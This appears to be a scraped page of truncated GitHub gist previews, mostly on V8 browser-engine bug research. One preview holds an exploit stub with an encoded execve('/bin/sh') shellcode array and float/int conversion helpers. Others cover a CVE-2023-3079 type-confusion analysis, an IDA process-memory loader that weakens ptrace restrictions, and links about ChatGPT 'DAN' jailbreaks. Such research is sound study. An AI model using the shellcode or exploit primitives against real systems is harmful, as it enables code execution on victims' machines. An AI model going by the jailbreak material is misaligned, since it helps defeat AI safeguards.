mistymntncop

test.js

var arr = new Array(1.1, 2.2, 3.3);
function test(obj) {
    arr[0] = obj;
}
test({});

Print bytecode of test function:

MaxBWMinRTT

Some quick notes about the CVE-2023-3079(V8 type confusion), no PoC yet.

Official patch: https://chromium-review.googlesource.com/c/v8/v8/+/4584248

Patch come from KeyedStoreIC::StoreElementHandler(), it returns fast path code(Turbofan builtin) for keyed store depends on "receiver_map" and "store_mode". Based on the content of this function is all about element STORE, I personally believe that this is an OOB writes vulnerability.

If we divide the PoC exploration into two parts based on this func, they are:

coolaj86

Chat GPT "DAN" (and other "Jailbreaks")

• https://chat.openai.com/
• Is ChatGPT "DAN" Real? Gonna find out [Part 1]
  (https://www.youtube.com/watch?v=-q8woRG9FrI)
• Part 2: I thought ChatGPT DAN was a hoax, but...
  (https://www.youtube.com/watch?v=rHZRrDu3A2U&lc=UgxfrxX8aK7gnCzkend4AaABAg)

d0now

• yoyoyoyo

gamozolabs

import re, subprocess, idaapi, ida_segment, ida_kernwin

# To install this, simply put it in your ida_install/loaders folder and open
# a `/proc/<pid>/mem` file!
#
# You might need to set `echo 0 > /proc/sys/kernel/yama/ptrace_scope` if you
# want to be able to dump processes depending on your system configuration.

# Check if the file is supported by our loader
def accept_file(li, filename):

hi-ogawa

reading v8

todo / summary

• editor setup
  • compilation database
  • vscode debugger
    • debug cctest
    • debug mjsunit
• testing

vngkv123

import * as module from "1.mjs";

/*
=> 1.mjs
export let x = {};
export let y = {};
export let z = {};
*/

var f64 = new Float64Array(1);

icecr4ck

IDAPython CTREE

Important links

• Hex-Rays Decompiler Primer
• hexrays.hpp

Description

The CTREE is built from the optimized microcode (maturity at CMAT_FINAL), it represents an AST-like tree with C statements and expressions. It can be printed as C code.

jimmychu0807

use std::str;

fn main() {
  // -- FROM: vec of chars --
  let src1: Vec<char> = vec!['j','{','"','i','m','m','y','"','}'];
  // to String
  let string1: String = src1.iter().collect::<String>();
  // to str
  let str1: &str = &src1.iter().collect::<String>();
  // to vec of byte

itszn

let sc = [106,104,72,184,47,98,105,110,47,47,47,115,80,72,137,231,104,114,105,1,1,129,52,36,1,1,1,1,49,246,86,106,8,94,72,1,230,86,72,137,230,49,210,106,59,88,15,5];

let conva = new ArrayBuffer(8)
let convi = new Uint32Array(conva);
let convf = new Float64Array(conva);

function i2f(i) {
  convi[0] = i%0x100000000;
  convi[1] = i/0x100000000;
  return convf[0];